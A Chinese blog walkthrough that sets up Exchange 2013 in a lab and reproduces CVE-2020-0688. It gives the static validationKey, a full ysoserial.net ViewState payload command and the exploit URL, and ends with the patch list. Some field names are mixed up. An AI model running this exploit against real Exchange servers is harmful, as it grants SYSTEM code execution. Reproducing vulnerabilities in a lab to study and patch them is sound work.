温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何进行微软Exchange服务远程代码执行漏洞复现

发布时间:2021-12-28 17:07:23 来源:亿速云 阅读:327 作者:柒染 栏目:安全技术

这篇文章将为大家详细讲解有关如何进行微软Exchange服务远程代码执行漏洞复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

环境搭建

使用Windows Server 2008安装Exchange Server 2013

  • 首先要在虚拟机内将Server2008设置为静态IP
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 服务器管理器中选择添加角色-勾选域服务
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 安装完成后,在开始->运行打开dcpromo

如何进行微软Exchange服务远程代码执行漏洞复现

  • 点击两次下一步后,选择在新林中新建域

如何进行微软Exchange服务远程代码执行漏洞复现

  • 输入一个域名格式

如何进行微软Exchange服务远程代码执行漏洞复现

  • 选择win2008,勾选dns

如何进行微软Exchange服务远程代码执行漏洞复现

  • 设置密码

如何进行微软Exchange服务远程代码执行漏洞复现如何进行微软Exchange服务远程代码执行漏洞复现

  • 完成安装

如何进行微软Exchange服务远程代码执行漏洞复现

前期准备

  • 打开ad用户和计算机,选择users添加域用户
    如何进行微软Exchange服务远程代码执行漏洞复现如何进行微软Exchange服务远程代码执行漏洞复现

  • 创建完成后更改域
    如何进行微软Exchange服务远程代码执行漏洞复现如何进行微软Exchange服务远程代码执行漏洞复现

  • 输入刚刚添加的用户,之后重启计算机
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 使用刚才添加的用户登录后安装其他必备组件
    管理员启动powershell
    Import-Module ServerManager
    Add-WindowsFeature RSAT-ADDS
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 安装完成后重启计算机,使用管理员权限打开powershell
    Import-Module ServerManager
    Add-WindowsFeature NET-Framework, ADLDS
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 安装.Net 4.5

如何进行微软Exchange服务远程代码执行漏洞复现

  • 安装Microsoft Office 2010 Filter Pack 64 位
    https://www.microsoft.com/en-us/download/confirmation.aspx?id=17062

如何进行微软Exchange服务远程代码执行漏洞复现

  • 打开exchange,选择解压位置

如何进行微软Exchange服务远程代码执行漏洞复现

  • 开始安装Exchang
    如何进行微软Exchange服务远程代码执行漏洞复现
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 安装过程遇到一堆问题,挨个解决。。
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 开始正式安装
    如何进行微软Exchange服务远程代码执行漏洞复现

安装完成

如何进行微软Exchange服务远程代码执行漏洞复现

CVE-2020-0688漏洞复现

  • 漏洞详情
    具体来说,漏洞是在Exchange Control Panel (ECP)组件中发现的。这个漏洞的性质非常简单。与每次软件安装都会产生随机密钥不同,所有Microsoft Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。
    如何进行微软Exchange服务远程代码执行漏洞复现

由于使用了静态密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据。在YSoSerial.net的帮助下,攻击者可以在Exchange Control Panel web应用上执行任意.net代码。

  • 为了利用这个漏洞,我们需要从经过身份验证的session中收集ViewStateUserKey和__VIEWSTATEGENERATOR值。ViewStateUserKey可以从ASP.NET的_SessionIDcookie中获取,而ViewStateUserKey可以在一个隐藏字段中找到。所有这些都可以通过浏览器中的工具轻松找到。
    首先,进入192.168.92.128/ecp页面并登录。所使用的帐户不需要任何高权限
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 接下来,打开浏览器开发工具的Network选项,然后按F5重新发送请求。在页面源代码中可以找到 __VIEWSTATEGENERATOR,它的值是B97B4E27
    如何进行微软Exchange服务远程代码执行漏洞复现
    然后,打开Headers选项卡并找到ASP.NET_SessionId=40c8e078-dc79-4001-9a52-de175b38a028
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 现在获得了攻击所需要的全部信息:
    --validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
    --validationalg = SHA1
    --generator = B97B4E27
    --viewstateuserkey = c1187666-c0ae-4f61-95d4-d2f5348d4300

  • 下一步是使用ysoserial.net生成ViewState的paylaod。通过创建文件C:\TideSec.txt来演示远程代码执行:
    ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c echo test > C:\TideSec.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="c1187666-c0ae-4f61-95d4-d2f5348d4300" --isdebug --islegacy
    如何进行微软Exchange服务远程代码执行漏洞复现

  • 将输出结果进行URL编码并构造如下URL:
    https://192.168.92.128/ecp/default.aspx?VIEWSTATEGENERATOR=&VIEWSTATE=
    如何进行微软Exchange服务远程代码执行漏洞复现

如何进行微软Exchange服务远程代码执行漏洞复现

浏览器内提交地址进行访问,回显500错误,但实际已经创建成功,并且可以看到是具有SYSTEM”权限的进程创建的。这表明攻击者可以以“SYSTEM”身份远程执行代码,完全破坏Exchange服务器。

如何进行微软Exchange服务远程代码执行漏洞复现

如何进行微软Exchange服务远程代码执行漏洞复现

影响范围及加固

  • 影响版本
    影响所有版本的Exchang Server:
    Microsoft Exchange Server 2010 Service Pack 3
    Microsoft Exchange Server 2013
    Microsoft Exchange Server 2016
    Microsoft Exchange Server 2019

  • 防护措施
    补丁下载
    Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30 KB4536989
    Microsoft Exchange Server 2013 Cumulative Update 23 KB4536988
    Microsoft Exchange Server 2016 Cumulative Update 14 KB4536987
    Microsoft Exchange Server 2016 Cumulative Update 15 KB4536987
    Microsoft Exchange Server 2019 Cumulative Update 3 KB4536987
    Microsoft Exchange Server 2019 Cumulative Update 4 KB4536987

关于如何进行微软Exchange服务远程代码执行漏洞复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI